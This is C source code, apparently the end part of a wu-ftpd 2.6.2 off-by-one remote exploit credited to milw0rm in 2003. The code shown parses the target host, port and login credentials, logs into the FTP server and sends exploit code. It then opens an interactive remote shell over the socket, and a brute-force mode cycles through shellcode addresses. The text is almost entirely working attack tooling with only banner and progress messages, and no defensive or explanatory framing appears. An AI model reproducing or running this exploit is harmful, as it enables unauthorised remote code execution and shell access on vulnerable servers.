char tg_host[(DEF_VA)]=(DEF_HOST);
int tg_port=(DEF_PORT);
u_long sh_addr=(plat[t_g].sh_addr);
(void)banrl();
while((opt_g=getopt(argc,argv,"M:m:H:h:U:u:P:p:N:n:S:s:T:t:BbIi"))!=EOF)
{
extern char *optarg;
switch(opt_g)
{
case 'M':
case 'm':
mx_bf=(atoi(optarg));
bf_lsz=((0x1000)/mx_bf);
break;
case 'H':
case 'h':
memset((char *)tg_host,(NRL),sizeof(tg_host));
strncpy(tg_host,optarg,sizeof(tg_host)-1);
break;
case 'U':
case 'u':
memset((char *)user_id,(NRL),sizeof(user_id));
strncpy(user_id,optarg,sizeof(user_id)-1);
break;
case 'P':
case 'p':
memset((char *)pass_wd,(NRL),sizeof(pass_wd));
strncpy(pass_wd,optarg,sizeof(pass_wd)-1);
break;
case 'N':
case 'n':
tg_port=(atoi(optarg));
break;
case 'S':
case 's':
sh_addr=strtoul(optarg,(NRL),(NRL));
break;
case 'T':
case 't':
if((t_g=(atoi(optarg)))<(3))
sh_addr=(plat[t_g].sh_addr);
else (void)prcode_usage(argv[(NRL)]);
break;
case 'B':
case 'b':
__bf=(SCS);
break;
case 'I':
case 'i':
(void)prcode_usage(argv[(NRL)]);
break;
case '?':
(void)prcode_usage(argv[(NRL)]);
break;
}
}
if(!strcmp(user_id,(DEF_STR))||!strcmp(pass_wd,(DEF_STR)))
(void)prcode_usage(argv[(NRL)]);
memset((char *)home_dir,(NRL),sizeof(home_dir));
snprintf(home_dir,sizeof(home_dir)-1,"%s%s",(HOME_DIR),user_id);
if(!__bf)
{
fprintf(stdout," [*] Target: %s.\n",(plat[t_g].v_nm));
fprintf(stdout," [+] address: %p.\n",sh_addr);
fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);
sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");
fprintf(stdout," [1] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);
fprintf(stdout," [2] send exploit code.\n");
(void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
close(sock);
fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);
sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");
fprintf(stdout," [3] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);
fprintf(stdout," [4] send exploit code.\n");
(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
fprintf(stdout," [5] Waiting, execute the shell ");
fflush(stdout);
(u_int)sleep(SCS);
fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);
fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);
fprintf(stdout,".\n");
(void)conn_shell(sock);
close(sock);
}
else
{
int bt_num=(NRL);
t_g=(4);
sh_addr=(plat[t_g].sh_addr);
fprintf(stdout," [*] Brute-Force mode.\n");
fprintf(stdout," [+] BF Count: %d.\n",mx_bf);
fprintf(stdout," [+] BF Size: +%d.\n\n",bf_lsz);
for(bt_num=(NRL);bt_num<(mx_bf);bt_num++)
{
sh_addr=(u_long)null_chk(sh_addr);
fprintf(stdout," [+] Brute-Force address: %p.\n",sh_addr);
fprintf(stdout," [*] #1 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);
sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");
fprintf(stdout," [1] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);
fprintf(stdout," [2] send exploit code.\n");
if(bt_num==(NRL))
{
(void)make_send_exploit(sock,(SCS),sh_addr,(SCS));
}
else
{
(void)make_send_exploit(sock,(SCS),sh_addr,(NRL));
}
close(sock);
fprintf(stdout," [+] #2 Try, %s:%d ...",tg_host,tg_port);
fflush(stdout);
sock=(int)setsock(tg_host,tg_port);
(void)re_connt(sock);
fprintf(stdout," [ OK ]\n");
fprintf(stdout," [3] ftpd connection login.\n");
(void)ftpd_login(sock,user_id,pass_wd);
fprintf(stdout," [4] send exploit code.\n");
(void)make_send_exploit(sock,(NRL),sh_addr,(NRL));
fprintf(stdout," [5] Waiting, execute the shell ");
fflush(stdout);
(u_int)sleep(SCS);
fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);
fprintf(stdout,".");
fflush(stdout);
(u_int)sleep(SCS);
fprintf(stdout,".\n");
(void)conn_shell(sock);
close(sock);
sh_addr+=(bf_lsz);
}
}
exit(NRL);
}
int setsock(char *u_host,int u_port)
{
int sock;
struct hostent *sxp;
struct sockaddr_in sxp_addr;
if((sxp=gethostbyname(u_host))==(GET_HOST_NM_ERR))
{
return(FAD);
}
if((sock=socket(AF_INET,SOCK_STREAM,(NRL)))==(FAD))
{
return(FAD);
}
sxp_addr.sin_family=AF_INET;
sxp_addr.sin_port=htons(u_port);
sxp_addr.sin_addr=*((struct in_addr*)sxp->h_addr);
bzero(&(sxp_addr.sin_zero),(SIN_ZR_SIZE));
if(connect(sock,(struct sockaddr *)&sxp_addr,sizeof(struct sockaddr))==(FAD))
{
return(FAD);
}
return(sock);
}
void conn_shell(int conn_sock)
{
int died;
int ex_t=(NRL);
char *command=(DEF_COMM);
char readbuf[(GET_R)];
fd_set rset;
memset((char *)readbuf,(NRL),sizeof(readbuf));
fprintf(stdout," [*] Send, command packet !\n\n");
send(conn_sock,command,strlen(command),(NRL));
for(;;)
{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(conn_sock,&rset);
FD_SET(STDIN_FILENO,&rset);
select(conn_sock+1,&rset,NULL,NULL,NULL);
if(FD_ISSET(conn_sock,&rset))
{
died=read(conn_sock,readbuf,sizeof(readbuf)-1);
if(died<=(NRL))
{
if(!ex_t)
return;
else
exit(NRL);
}
readbuf[died]=(NRL);
fprintf(stdout,"%s",readbuf);
}
if(FD_ISSET(STDIN_FILENO,&rset))
{
died=read(STDIN_FILENO,readbuf,sizeof(readbuf)-1);
if(died>(NRL))
{
readbuf[died]=(NRL);
if(strstr(readbuf,"exit"))
ex_t=(SCS);
write(conn_sock,readbuf,died);
}
}
}
return;
}
void re_connt(int st_sock_va)
{
if(st_sock_va==(FAD))
{
fprintf(stdout," [ Fail ]\n\n");
exit(FAD);
}
}
void banrl()
{
fprintf(stdout,"\n 0x82-WOOoou~Happy_new - wu-ftpd v2.6.2 off-by-one remote exploit.\n\n");
}
/* eoc */
// milw0rm.com [2003-08-03]